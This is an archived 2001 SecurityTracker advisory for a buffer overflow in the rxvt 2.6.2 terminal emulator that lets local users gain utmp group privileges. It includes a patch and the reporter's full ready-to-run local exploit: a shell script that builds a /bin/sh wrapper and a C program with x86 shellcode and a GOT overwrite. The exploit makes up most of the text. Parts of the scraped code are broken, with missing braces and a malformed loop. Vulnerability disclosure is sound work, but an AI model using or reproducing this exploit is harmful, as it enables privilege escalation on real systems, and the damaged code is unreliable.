SecurityTracker.com
Keep Track of the Latest Vulnerabilities
with SecurityTracker!
    Home    |    View Topics    |    Search    |    Contact Us    |    Help    |   

SecurityTracker
Archives


Welcome to SecurityTracker!
 
Click to Sign Up
About the Archives
Want to learn about the SecurityTracker archives? We've got answers to frequently asked questions right here
Sign Up!





Category:  Application (Generic)  >  Rxvt Vendors:  Rxvt.org
Rxvt X-Windows Terminal Emulator Lets Local Users Obtain utmp Group Privileges
Date:  Jun 16 2001 02:58 (UTC/GMT)
Impact:  Execution of arbitrary code via local system, User access via local system
Exploit Included:  Yes  
Version(s): rxvt 2.6.2 (tested on Debian Linux 2.2)
Description:  A vulnerability has been reported in Rxvt, a VT102 emulator for the X window system. The vulnerability allows local users to gain special privileges on the host.

The vulnerability is due to a buffer overflow in the '-T' option, which can be triggered when a user supplies a title with greater than 256 characters. The '-name' option is also reported to trigger an overflow. Because rrxvt is installed with set group id (sgid) utmp privileges (on Debian 2.2, possibly on other systems), a local user can obtain utmp privileges.

It is reported that rxvt drops permissions incorrectly, making it possible for exploit code to recover the permissions via the saved group id.

The vendor has reportedly been notified.

Impact:  A local user can obtain utmp group privileges.
Solution:  No solution was available at the time of this entry. The author of the report provides a suggested workaround and patch (see the Source Message).
Vendor URL:  www.rxvt.org/ (Links to External Site)
Cause:  Boundary error
Underlying OS:  Linux (Any)
Reported By:  Samuel Dralet <samuel.dralet@mastersecurity.fr>
Message History:   This archive entry has one or more follow-up message(s) listed below.
Jun 17 2001 (Debian Issues Fix) Re: Rxvt X-Windows Terminal Emulator Lets Local Users Obtain utmp Group Privileges   (Wichert Akkerman <wichert@cistron.nl>)
Debian has issued a fix.
Jun 28 2001 (Mandrake Issues Fix) Rxvt X-Windows Terminal Emulator Lets Local Users Obtain utmp Group Privileges   (Linux Mandrake Security Team <security@linux-mandrake.com>)
The vendor has released a fix.
Jun 28 2001 (Immunix Issues Fix) Rxvt X-Windows Terminal Emulator Lets Local Users Obtain utmp Group Privileges   (Immunix Security Team <security@wirex.com>)
The vendor has released a fix.



 Source Message Contents

Date:  Fri, 15 Jun 2001 17:21:48 +0200
From:  Samuel Dralet <samuel.dralet@mastersecurity.fr>
Subject:  Rxvt vulnerability

 

RXVT Vulnerability 

----------------------------------------------------------------
    Samuel "Zorgon" Dralet <samuel.dralet@mastersecurity.fr> 
----------------------------------------------------------------

Date              : 2001/06/05
Vulnerable system : rxvt 2.6.2 on Debian Linux 2.2 

Table of contents 

1. Overview
2. Solutions
3. Exploit
4. Upgrade
5. Code 

----------------------------------------------------------------

-------{ 1. Overview 

> Rxvt is a heavily modified version of xvt. Xvt is an X terminal-emulator 
> that is designed to be more or less compatible with xterm while using much 
> less swap space.

The latest rxvt versions are available via the web at:

http://www.rxvt.org

Versions 2.6.2 contain a buffer overflow vulnerability. As rxvt is installed 
setgid utmp on Debian 2.2, an attacker might be able to successfully exploit 
this vulnerability and gain special privileges on the local system.

-------{ 2. Solution 

Status vendor : contacted two weeks ago but no response.  

Remove the setgid bit from rxvt or apply this patch:

*** command.c   Mon Jun  4 23:13:34 2001
--- command.patch.c     Mon Jun  4 23:15:11 2001
***************
*** 2378,2384 ****
      unsigned char   buf[256];
  
      va_start(arg_ptr, fmt);
!     vsprintf(buf, fmt, arg_ptr);
      va_end(arg_ptr);
      tt_write(buf, strlen(buf));
  }
--- 2378,2384 ----
      unsigned char   buf[256];
  
      va_start(arg_ptr, fmt);
!     vsnprintf(buf, sizeof(buf), fmt, arg_ptr);
      va_end(arg_ptr);
      tt_write(buf, strlen(buf));
  }

-------{ 3. Exploit 

The program described here exploits the buffer overflow vulnerability present
in the command.c file:

> tt_printf("\033]l%s\033\\", s ? s : "");

with tt_printf() :

void
tt_printf(const char *fmt,...)
 
    int i;
    va_list         arg_ptr;
    unsigned char   buf[256];

    va_start(arg_ptr, fmt);
    vsprintf(buf, fmt, arg_ptr);
    va_end(arg_ptr);
    tt_write(buf, strlen(buf));
 

's' is a string provided to rxvt by the user thanks to the '-T' option.
Another option '-name' is also vulnerable.
Rxvt supports the main escape sequences, so when a user types the 
sequence 'echo -ne "\033[21t"', the window title will be displayed to stdout. 
If this user supplies a title with more than 256 caracters, rxvt will do a
segmentation fault.

This vulnerability is a classic buffer overflow besides several details. 
At first, rxvt drops permissions at once in main.c but in an incorrect way. 
It's then possible to recover the permissions via the saved gid, which is done 
very well by the shellcode.

After having written the first version of exploit, /bin/sh was started well but 
terminated before a prompt was returned to the user. In fact, Rxvt closes stdin 
and stdout before opening the window. It has thus been necessary to write a program 
which recovers the name of the tty (thanks to stderr which is always open), which 
opens again stdin and stdout, and which runs then /bin/sh.  This program '/tmp/xx' 
is run by the shellcode.

The exploit should work against systems protected with the Linux Kernel patch from 
the Openwall Project. The idea is to copy the shellcode to the GOT that is executable. 
The current version successfully exploits rxvt on Debian Linux 2.2 system (rxvt version
2.6.2)

-------{ 4. Upgrade 

To add some platforms, you must give three parameters : 

1) path of binary

2) entry in the PLT strcpy

$objdump -T /path/to/filename | grep strcpy 
0804add0      DF *UND*	00000020  GLIBC_2.0   strcpy
^^^^^^^^

3) entry in the GOT strcpy

$objdump -R /path/to/filename | grep strcpy 
0805c964 R_386_JUMP_SLOT   strcpy
^^^^^^^^

-------{ 5. Code 

#!/bin/sh

 
# MasterSecuritY <www.mastersecurity.fr>
 
# xrxvt.sh - Local exploit for xrxvt 2.6.2
# Copyright (C) 2001  Michel "MaXX" Kaempf <maxx@mastersecurity.fr>
# Copyright (C) 2001  Samuel "Zorgon" Dralet <samuel.dralet@mastersecurity.fr>
 
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or (at
# your option) any later version.
 
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
 
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
 

echo "rxvt-2.6.2 exploit for Linux Debian 2.2"
echo "Which target :"
echo -e "\t0. rxvt 2.6.2 (package deb) on Debian 2.2"
echo -e "\t1. rxvt 2.6.2 (tarball) on Debian 2.2"
echo
echo -n "target : "

read TARGET
 
cat > /tmp/xx.c <<EOF
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

int main()
 
	char * p_ttyname;
	char * argv[] = { "/bin/sh", NULL };

	p_ttyname = ttyname( STDERR_FILENO );
	if ( p_ttyname == NULL ) {
		return( -1 );
	}
	if ( open(p_ttyname, O_RDONLY) != STDIN_FILENO ) {
		return( -1 );
	}
	if ( open(p_ttyname, O_WRONLY) != STDOUT_FILENO ) {
		return( -1 );
	}

	execve( argv[0], argv, NULL );
	return( -1 );
 
EOF
gcc -o /tmp/xx /tmp/xx.c
rm -f /tmp/xx.c

cat > /tmp/xrxvt.c << EOF
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <X11/X.h>
#include <X11/Xlib.h>

#define BUF 256	/* buffer size */
#define EBP 4	 
#define EIP 4
#define ESC 3	/* alignment */

#define GID "\x2b"
#define DISPLAY ":0"
#define STACK ( 0xc0000000 - 4 )

Display *d;

char shellcode[] =
/* setregid( -1, GID ); */
"\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1"GID"\x31\xc0\xb0\x47\xcd\x80"
/* setregid( GID, GID ); */
"\x31\xdb\x31\xc9\xb3"GID"\xb1"GID"\x31\xc0\xb0\x47\xcd\x80"
/* Aleph One ;) */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/tmp/xx";

struct os
 
    int id;
    char *desc;
    char *path;
    unsigned long plt;
    unsigned long got;
};

struct os target[]=
 
    { 0, "rxvt 2.6.2 (package deb) on Debian 2.2", "/usr/X11R6/bin/rxvt-xterm",
      0x0804add0, 0x0805c964 },
    { 1, "rxvt 2.6.2 (tarball) on Debian 2.2", "/usr/local/bin/rxvt", 
      0x0804a690, 0x08059e1c },
    { 2, NULL, 0, 0 }
};

void usage ( char *cmd )
 
    int i;
    fprintf(stderr, "rxvt-2.6.2 exploit for Linux Debian 2.2\n");
    fprintf(stderr, "usage: %s <target>\n",cmd);
    fprintf(stderr, "with target:\n\n");
    for( i < 0; i < sizeof(target) / sizeof(struct os); i++ )
	fprintf(stderr, "%d. %s\n", i, target[i].desc);

    exit( -1 );	
 

int main(int argc, char *argv[])
 
    char buffer[ BUF - ESC + EBP + EIP + 12 + 1];
    char * exec_argv[] = { NULL, "-T", buffer, NULL }; 
    char * envp[] = { shellcode, NULL };
    int i, t;
    char *path;

    if ( argc != 2 )
	usage(argv[0]);

    t = atoi(argv[1]);
    if( t < 0 || t >= sizeof(target) / sizeof(struct os) )
	usage( argv[0] );

    path = (char *)malloc(strlen(target[t].path)+1);	
    strcpy(path,target[t].path); 
     	
    if ( (d = XOpenDisplay(DISPLAY)) == NULL ){
	fprintf(stderr, "Unable to open display: %s\n", DISPLAY);
	exit(10);
    }

    for ( i = 0; i < BUF - ESC + EBP; i++ ) {
	buffer[ i ] = 'A';
    }

    *( (size_t *) &(buffer[i]) ) = target[t].plt;
    i += sizeof(size_t);
    *( (size_t *) &(buffer[i]) ) = target[t].got + 4;
    i += sizeof(size_t);
    *( (size_t *) &(buffer[i]) ) = target[t].got + 4;
    i += sizeof(size_t);
    *( (size_t *) &(buffer[i]) ) = STACK - (strlen(path) + 1) - sizeof(shellcode); 
    i += sizeof(size_t);
  
    buffer[i] = '\0';

    exec_argv[0] = path;
    execve( exec_argv[0], exec_argv, envp );
    return( -1 );
 
EOF
gcc -o /tmp/xrxvt /tmp/xrxvt.c -lX11
rm -f /tmp/xrxvt.c

echo "Go to rxvt window and type 'echo -ne \"\033[21t\"' ..."
echo "And see ..."
/tmp/xrxvt $TARGET









 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us   |    Help

Copyright 2001, SecurityGlobal.net LLC